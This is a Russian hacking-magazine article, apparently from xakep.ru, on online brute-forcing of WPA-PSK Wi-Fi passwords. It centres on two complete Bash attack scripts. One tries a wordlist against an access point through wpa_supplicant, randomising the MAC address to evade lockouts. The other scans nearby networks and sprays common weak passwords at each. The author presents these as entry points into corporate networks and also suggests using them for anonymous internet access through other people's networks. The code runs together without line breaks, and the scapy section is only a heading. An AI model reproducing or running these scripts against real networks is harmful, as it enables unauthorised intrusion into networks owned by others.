Брут на ходу. Атакуем беспроводные сети простым и эффективным способом

Содержание статьи

  • ООнлайн брутфорс с использованием wpa_supplicant
  • Онлайн брутфорс с использованием scapy
  • Выводы

Ата­ки на Wi-Fi чрез­вычай­но раз­нооб­разны: зло­умыш­ленник может попытать­ся взло­мать кли­ент­ские устрой­ства и точ­ки дос­тупа, да и пос­ледние могут исполь­зовать раз­ные про­токо­лы и методы аутен­тифика­ции. В этой статье мы рас­смот­рим прос­той, но эффектив­ный метод брут­форса бес­про­вод­ных сетей.

На­ибо­лее час­то встре­чают­ся сети WPA PSK. Даже если в ком­пании исполь­зуют­ся сети WPA-Enterprise, а все осталь­ное зап­рещено, мы всег­да можем най­ти WPA PSK бла­года­ря тем же бес­про­вод­ным прин­терам и вся­чес­ким несан­кци­они­рован­ным точ­кам дос­тупа, работа­ющим на телефо­нах сот­рудни­ков. И чем боль­ше периметр ком­пании, тем боль­ше таких потен­циаль­ных точек вхо­да мож­но обна­ружить. При ата­ках на точ­ки дос­тупа с WPA PSK обыч­но исполь­зует­ся сле­дующая схе­ма.

Клас­сичес­кая схе­ма дей­ствий при ата­ках WPA PSK

Но что делать, если у точ­ки дос­тупа нет кли­ентов? Гру­бо говоря, где‑то у полови­ны обна­ружен­ных бес­про­вод­ных сетей будут отсутс­тво­вать активные кли­енты, а дру­гая полови­на не будет под­верже­на PMKID, и у таких сетей не обна­ружит­ся уяз­вимый к перебо­ру WPS. Выходит, подоб­ные точ­ки дос­тупа устой­чивы к ата­кам, даже если на них исполь­зует­ся пароль 12345678? А что нам меша­ет ата­ковать их?

 

ООнлайн брутфорс с использованием wpa_supplicant

По­доб­рать пароль к обыч­ной WPA-сети всег­да мож­но прос­тым перебо­ром, аутен­тифици­руясь и спра­шивая каж­дый раз пароль непос­редс­твен­но у точ­ки дос­тупа (этот метод называ­ется онлайн‑брут­форсом).

Ата­ки онлайн‑под­бором пароля к Wi-Fi-сетям край­не ред­ки, и в интерне­те мож­но най­ти не так уж мно­го реали­заций такой ата­ки. Оно и понят­но: ведь ее ско­рость низ­кая в срав­нении с брут­форсом того же WPA Handshake или PMKID. Но имен­но эта ата­ка может быть единс­твен­но воз­можной поч­ти в чет­верти слу­чаев. И пусть ско­рость под­бора будет не так высока, это явно луч­ше, чем сидеть и ждать у моря погоды. Так ли нуж­на нам высокая ско­рость брут­форса, ког­да речь идет о небезо­пас­ных паролях? Мож­но пред­положить, что при­мер­но на каж­дой десятой точ­ке дос­тупа исполь­зован прес­ловутый пароль 12345678. Неуже­ли для ата­ки подоб­ных устрой­ств нужен хен­дшейк?

Брут­форс онлайн в ширину (мно­го точек дос­тупа, нес­коль­ко паролей)

А что, если мы возь­мем с десяток самых сла­бых паролей? Реали­зовать онлайн‑брут­форс мы можем дос­таточ­но прос­то с помощью скрип­та на Bash, исполь­зуя лишь wpa_supplicant:

wpa-brute.sh
#!/bin/bashRED='x1b[31m'GREEN='x1b[32m'GREY='x1b[90m'RESET='x1b[0m'TIMEOUT=15
IFACE=wlan0
[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: ' essid
[[ $# -ge 2 ]] && wordlist="$2" || read -p 'wordlist: ' wordlist
[[ $# -ge 3 ]] && threads="$3" || threads=1
rand=$RANDOMif [ "$threads" -eq 1 ]; then touch "/tmp/wpa_${rand}_${essid}.conf" while read -r password
do [[ "${#password}" -lt 8 ]] && continue #sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up wpa_passphrase "$essid" "$password" > "/tmp/wpa_${rand}_${essid}.conf" || continue sed -i 's/^.*#psk=.*$/tscan_ssid=1/g' "/tmp/wpa_${rand}_${essid}.conf" sudo ifconfig $IFACE up
sudo timeout $TIMEOUT wpa_supplicant -i $IFACE -c "/tmp/wpa_${rand}_${essid}.conf" 2>&1 > "/tmp/wpa_${rand}_${essid}.log" &
wpa_supplicant=$! tail -f "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null | while read -t $TIMEOUT line
do #echo "$line" if echo "$line" | grep -q "completed"; then break elif echo "$line" | grep -q "Handshake failed"; then break fi done sudo pkill -P $wpa_supplicant 2> /dev/null
now=$(date +'%H:%M:%S') if grep -q "complete" "/tmp/wpa_${rand}_${essid}.log" > /dev/null; then echo -e $GREEN "[+] [$now] $IFACE $essid: $password" $RESET exit 1
elif grep -q "Handshake failed" "/tmp/wpa_${rand}_${essid}.log"; then echo -e $RED "[-] [$now] $IFACE $essid: $password" $RESET else echo -e $GREY "[!] [$now] $IFACE $essid: $password" $RESET echo "$password" >> "$wordlist" fi rm "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null
rm "/tmp/wpa_${rand}_${essid}.conf" 2> /dev/null
done < "$wordlist"elif [ "$threads" -gt 1 ]; then typeset -a pids=() for ((thread=0; thread<$threads; thread++)); do "$0" "$1" <(cat "$2" | awk "NR%$threads==$thread") || pkill -f "$0" &
pids+=($!) #sleep 0.25 done for pid in ${pids[*]}; do tail --pid=$pid -f /dev/null
donefi

Скрипт будет пытать­ся под­клю­чить­ся к точ­ке дос­тупа, исполь­зуя исклю­читель­но легитим­ное ПО. На каж­дой ите­рации, что­бы избе­жать бло­киро­вок, он может менять наш MAC-адрес на ран­домный. Такой скрипт не тре­бует осо­бых режимов бес­про­вод­ной сетевой кар­ты и может быть запущен на любом компь­юте­ре и даже на устрой­стве с Android.

Брут­форс онлайн в глу­бину в четыре потока (одна точ­ка дос­тупа, мно­го паролей)

Этот метод не так уж и плох, ведь даже Android по умол­чанию управля­ет бес­про­вод­ными соеди­нени­ями через ста­рый доб­рый wpa_supplicant. Cчи­тает­ся, что онлайн‑брут­форс точек дос­тупа не парал­лелит­ся, а ско­рость под­бора пароля уве­личить невоз­можно. Одна­ко при одновре­мен­ном брут­форсе паролей сра­зу с двух устрой­ств не было замече­но падения ско­рос­ти, сле­дова­тель­но, уве­личе­ние быс­тро­дей­ствия воз­можно.

В скрип­те wpa-brute.sh есть под­дер­жка мно­гопо­точ­ности, реали­зован­ная дос­таточ­но прос­тым и ори­гиналь­ным спо­собом: на одном и том же WLAN-интерфей­се мы можем одновре­мен­но запус­кать сра­зу нес­коль­ко про­цес­сов wpa_supplicant. Пока один ждет отве­та от точ­ки дос­тупа, дру­гой wpa_supplicant может отправ­лять пакеты аутен­тифика­ции со сле­дующим паролем. Зна­чит, ско­рость брут­форса все же может быть уве­личе­на, прав­да, в разум­ных пре­делах и не на всех точ­ках дос­тупа в рав­ной сте­пени.

До­бавив обер­тку вок­руг скрип­та wpa-brute.sh, мы можем реали­зовать брут­форс в ширину:

wpa_brute-width.sh
#!/bin/bashRED='x1b[31m'GREEN='x1b[32m'GREY='x1b[90m'RESET='x1b[0m'IFACE=wlan0
TIMEOUT=60
PASSWD=()MAX_TREADS=6
[[ $# -ge 1 ]] && PASSWD=($*) || while read passwd; do PASSWD+=("$passwd"); done#PASSWD=(12345678 123456789 1234567890 qwertyuiop 1q2w3e4r 987654321 1q2w3e4r5t qazwsxedc 11111111)#sudo killall -KILL wpa_supplicant 2> /dev/nullmkdir /tmp/wpa_brute 2> /dev/null && chmod o+rw /tmp/wpa_brute
while :
do sudo ifconfig $IFACE up
typeset -a bssids=() typeset -a essids=() typeset -a signals=() IFS=$'x0a' for line in $(sudo iw dev $IFACE scan 2> /dev/null | egrep '^BSS|SSID:|signal:|Authentication' | tr $'n' $'t' | sed -e 's/BSS/nBSS/g' | grep 'PSK') do IFS=$'t' read bssid signal essid <<< $(echo "$line" | sed -rn 's/BSS (.+)(.*t+signal: (.*).00 dBm.*t+SSID: ([^t]+)t.*/1t2t3/p') if [ -n "$essid" ]; then #echo "[*] $bssid $signal $essid" bssids+=($bssid) essids+=($essid) signals+=($signal) fi done for ((i=0; i<${#bssids[@]}; i++)) do echo "${essids[i]}"$'t'"${bssids[i]}"$'t'"${signals[i]}" done | sort -n -k 3 -r | uniq > /tmp/wpa_brute/wpa_net.txt
IFS=$'x0a' for net in $(cat /tmp/wpa_brute/wpa_net.txt) do IFS=$'t' read essid bssid signal <<< $(echo "$net") fgrep -q "$essid" /tmp/wpa_brute/essids_known.txt 1> /dev/null 2> /dev/null && continue echo "[+] $essid $bssid $signal" sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up
threads=0
for passwd in ${PASSWD[*]} do ((threads++)) echo "$passwd" done > /tmp/wpa_brute/wordlist.txt
timeout $TIMEOUT $(dirname "$0")/wpa_brute.sh "$essid" /tmp/wpa_brute/wordlist.txt $(( threads<=MAX_TREADS ? threads : MAX_TREADS )) echo "$essid" >> /tmp/wpa_brute/essids_known.txt
break donedone

Cкрипт на каж­дой ите­рации будет ска­ниро­вать эфир, про­верять наличие бес­про­вод­ных сетей, сор­тировать их по уров­ню сиг­нала и пытать­ся подоб­рать толь­ко один или нес­коль­ко ука­зан­ных паролей.

Брут­форс в ширину может быть очень полезен, ког­да ата­куемый объ­ект име­ет про­тяжен­ный периметр с кучей раз­нооб­разных Wi-Fi-сетей, мно­гие из которых — это несан­кци­они­рован­ные сети, раз­дава­емые поль­зовате­лями, не силь­но заботя­щими­ся о защищен­ности. Дру­гой хороший при­мер сла­бо защищен­ных устрой­ств, которые обя­затель­но сто­ит искать подоб­ным методом, — это прин­теры. И то и дру­гое может стать отличной точ­кой вхо­да во внут­реннюю сеть ком­пании.

Ис­поль­зовать брут­форс в ширину мож­но и без цели про­ник­новения, нап­ример что­бы орга­низо­вать ано­ним­ный выход в интернет через чужой канал.

 

Онлайн брутфорс с использованием scapy

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *